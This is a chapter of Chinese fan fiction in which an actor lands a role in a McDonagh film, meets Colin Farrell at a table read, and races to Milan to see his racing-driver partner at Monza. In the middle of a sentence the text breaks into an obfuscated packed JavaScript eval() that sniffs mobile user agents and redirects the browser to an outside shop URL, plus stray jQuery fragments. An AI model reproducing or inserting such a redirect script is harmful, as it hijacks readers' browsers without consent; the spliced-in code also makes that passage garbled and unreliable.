九月第一周，牛津郡。


    林利刚准备从试衣间出来，正拽着领口透气，搁在桌上的手机亮了一下。


    他原本没打算点开，毕竟这个点的邮件通常都是第二天来处理。


    余光扫过主题栏。等等——他摁向电源键的手顿住。


    【面谈邀请：即将启动的新项目】


    【发件人：马丁·麦克唐纳】


    《三块广告牌》的导演？！


    林利呼吸卡了一下，不敢相信地把邮件从头到尾读了一遍。读到“我想起你的过人之处”时，更是心脏狂跳地将手机翻过去扣在桌上，闭上眼睛深吸几口气。


    他重新读了一遍，确认没有误解任何一句话。


    麦克唐纳看过他演的《神弃之地》《1917》，正在筹备的新项目《伊尼舍林的报丧女妖》里有个角色想到了他，希望可以在都柏林见面聊聊。


    “你还好吗？”助理艾米拎着他的包走过来，“脸有点红。”


    林利抬起头，才发现自己的脑袋像被蒸汽熏过一样红通通。他胡乱扇了扇风，把手机揣进口袋：“太热了，不是吗？我们走吧。”


    回到酒店，林利连晚饭都没心思吃，把麦克唐纳之前的作品全翻了出来，从《杀手没有假期》开始重看，一直到凌晨。他还打印下来邮箱附件里的故事稿，用荧光笔标出导演看好他的角色——多米尼克的台词，便利贴贴了一整桌。


    手机在杂乱的纸堆里震了起来，是麦克斯。


    林利扫了眼时间，摩纳哥这会儿都三点多了。


    【Emily：你睡了吗？[邪恶]】


    【L：还没，怎么了？】


    通话请求随即弹了出来。


    “我想问你，”麦克斯一上来就跃跃欲试地说，“九月十二号，蒙扎，你能来吗？”


    半夜这么突然？林利费解地揉揉太阳穴，还是翻开了日程表。


    那天标注的正是《空战群英》计划上的“机动”时间，而且麦克唐纳也提到近期会安排见面。


    他张了张嘴，想说“估计去不了”，可话到嘴边又咽回去了。麦克斯这时候兴致冲冲，心情一定不错。


    “我……”林利放下笔，“我会尽量。”


    “尽量？”电话那头麦克斯有些迟疑地重复了一遍，“那是能来还是不能来？”


    “就是我现在没法确定。”林利摩挲着便利贴的边角，“拍摄进度在调，而且我这边有个……有些事情，但我会尽量安排出来。”


    “为什么突然半夜这么说？”他接着问。


    “哦！我忘了时间。”麦克斯恍然大悟，在电话那头笑了两声，“刚才一直在跑模拟赛，就是感觉最近一切都挺好，你懂吧？比利时和赞德福特都很顺，蒙扎应该也会不错。”


    他顿了顿，理直气壮地怂恿：“再说了，我都快一个月没见着你了。所以，来现场看看我，好吗？”


    “我会尽可能去的。”


    挂掉电话，林利视线掠过密密麻麻的笔记和日程，叹了口气。


    他也想去啊。


    ……


    第二天一早，林利就堵到了导演面前。


    “我看了一下接下来的拍摄计划。”他开门见山，“后面两周主要是Cal的戏，对吗？”


    导演翻了翻手上的表，点点头：“对，你那几天戏份不算多。”


    “能不能把我那几场提前拍？”林利试探着问，“比如这周多拍一点，把进度往前赶一赶。”


    导演在计划表上划拉了几下，狐疑地打量他：“你有急事？这几场可以提前，但这场不行，需要外景，得看老天爷的脸色。”


    “这两场已经很好了。”林利双手合十，“谢了，导演。”


    这一周，林利每天第一个到片场，最后一个走。场务来点人时他已经在化妆车里坐着了，等收工的大灯全熄透了，他才最后一个摸黑上回酒店的车。


    有天下午，卡勒姆终于受不了了。他疲惫地揉着眉心：“林，老实交代，你是接了什么大活？这么个拍法，显得我们几个很像在片场混时间的。”


    林利扯开嘴角笑了笑，安抚地解释：“早点拍完早点解脱，我都快忘了正常生活长什么样了。”


    9月6日，林利坐上飞往都柏林的早班机。


    麦克唐纳在一家临街的咖啡馆等着。他穿了件低调的麻衬衫，面前放了一杯黑咖啡。看到林利进来，站起身打了个招呼。


    “叫我马丁就行。”麦克唐纳抬手示意，“坐吧。”


    这一聊就是三个多小时。


    从多米尼克这个角色的孤独感，聊到岛上阴冷潮湿的风。林利讲得有点刹不住车，甚至从多米尼克的死谈到了整个岛屿的冷漠。


    麦克唐纳一直静静听着，时不时颔首。


    “你准备得很充分。”麦克唐纳最后笑了起来。


    “我前几天又将您的作品研究了一遍。”林利摸摸鼻尖，有点不好意思，“可能准备得有点过头了。”


    “没什么不好。”麦克唐纳手里的咖啡杯转了一圈，“目前为止都不错，你现在拍的什么时候结束？”


    “九月底。”


    “那就这样了。”麦克唐纳站起身，干脆利落地伸出手，“过几天我们会联系你的经纪人。基本上就是你了，准备好去岛上吹冷风吧。”


    太棒了！林利走出咖啡馆，在街角站了一会。到底没忍住，攥紧拳头用力挥了一下。


    ……


    9月11日，都柏林。


    工作室二楼支着几排衣架，分门别类地挂着螺纹针织衫、灯芯绒外套、粗线毛衣、毛边旧裤子……这些衣服透着股海岛上的土腥气，色调沉得发灰。


    “试试这身。”造型师把一件沉甸甸的外套递给他。


    林利换好衣服，顺手扣上一顶橄榄绿的鸭舌帽。


    “可以了。”造型师端详，“你感觉怎么样？”


    林利站在试衣镜前，肩膀向内收拢，微微含胸，脖子也向前探。他的双脚不自觉并拢，虚虚地站着，手臂紧紧蜷缩在胸前。他没敢直视镜子里的自己，只是飞快地抬了下眼，又受惊似的缩了回去，用余光打量周围的人影。


    伊尼舍林岛上的多米尼克总是这样小心翼翼。


    摄影师绕着他换了几个角度，按快门的间隙示意他走动两步。


    林利接连换了几套大同小异的旧工装。每换一身，他就对着镜子微调一□□态或者眼神的落点，凝视着镜子里那个逐渐成形的多米尼克。


    试装结束，助理带他进了楼上的会议室。


    房间不算大，长桌旁已经坐了几个人。林利沿着桌边往里走，在麦克唐纳右手侧第二个位置看到了自己的名字：Linley Foster / Dominic Kearney。


    “科林，”麦克唐纳和林利握了手，转向一旁胡子拉碴的男人，“这是林利，多米尼克。”


    “很高兴见到你。”科林·法瑞尔探身过来，友好一笑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236695|196580||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，“我看过你的《1917》，演得不错。”


    “谢谢。”林利上前一步，赶紧握住对方伸过的手。


    制片人和剩下的演员陆续进场。助理给每个人面前放了一份厚厚的文件夹。


    “好了。”麦克唐纳扬起声音，示意大家安静，“今天主要角色都到场了，我们只有一个简单目的，把本子从头到尾过一遍，找找角色的感觉。”


    科林和布莱丹交替着开始。林利在心里默默调整将要开口的语气，更年轻，更胆怯，带着一种想要讨好所有人的紧张：


    “我不感兴趣，派瑞克……”


    尾音飘得有些滑稽，重音也落得古怪，但这正是多米尼克的样子。


    讨论断断续续，话题从人物关系扯到海岛上的生活细节。科林随口讲起他小时候在爱尔兰乡下的事，林利听得很入神，但余光还是忍不住扫向墙上的钟。


    12:45。


    午餐是推车送进来的三明治，没人离座，大家边吃边接着聊台词。


    下午，他们开始讨论具体的场景。桌上摊开几十张选景地的照片，照片里全是冷硬的石墙、垂直入海的断崖，云层压得很低。


    “我们会在那里拍两个月。”制片人指了指照片，“环境不会太好，风很大，天气也不稳定。”


    科林摸着下巴上的胡茬：“但刚刚好适合我们的故事。”


    “而且足够孤寂。”麦克唐纳盯着一张废弃小屋的照片，看起来非常满意。


    林利盯着照片仔细揣摩了角色的细节，期间他看了一眼时钟：16:50。


    飞往米兰的航班五点半关舱门，肯定是赶不上了。


    他叹了口气，暗暗想：算了，明天再去蒙扎也来得及。


    19:10，麦克唐纳终于从剧本里抬起头。他满脸歉意地拍拍手：“抱歉，大家，聊得太投入了，我都没注意到这么晚了。今天就先到这吧，辛苦各位了。”


    林利急匆匆地跟着冲出会议室。下楼梯时飞快地刷着手机，谢天谢地，晚上九点还有一趟航班。


    打车、过安检、一路狂奔向停机坪。


    直到真正落座，系好安全带，他才后知后觉地感到腿软，额前的碎发全被汗湿透了，黏糊糊地贴在皮肤上。


    总算赶上了，林利长出了一口气，从兜里掏出手机，才准备告诉麦克斯这个消息。


    【L：你在哪？】


    【Emily：酒店，刚回。怎么了？】


    【L：我在机场。】


    手机立刻疯狂震起。


    电话刚接通，麦克斯的声音轻飘飘的：“你说什么？你在哪？”


    “我在都柏林机场，大概三个小时就能到米兰。”林利听见对面一声明显的抽气声，忍不住笑了。


    麦克斯沉默了几秒，语气竟然带了点恍惚：“我现在有点像做梦……你能来蒙扎了？”


    “真的，”林利一字一句强调，“我马上飞过去，等我吧。”


    电话那头紧接着传来椅子被猛地推开的声音，麦克斯像是直接站了起来：“我现在去机场。等等，不对，你几点到？”


    “米兰时间大概一点多了。”林利听着那头着急出门的动静，赶紧拦他，“你别折腾，不用这么早出门。”


    “没关系。”麦克斯拒绝得很干脆，声音听起来异常兴奋，“我可以等，我……我真的没想到你能来。”


    他停下来，在那头自顾自地笑出声：“我非常非常，非常高兴。”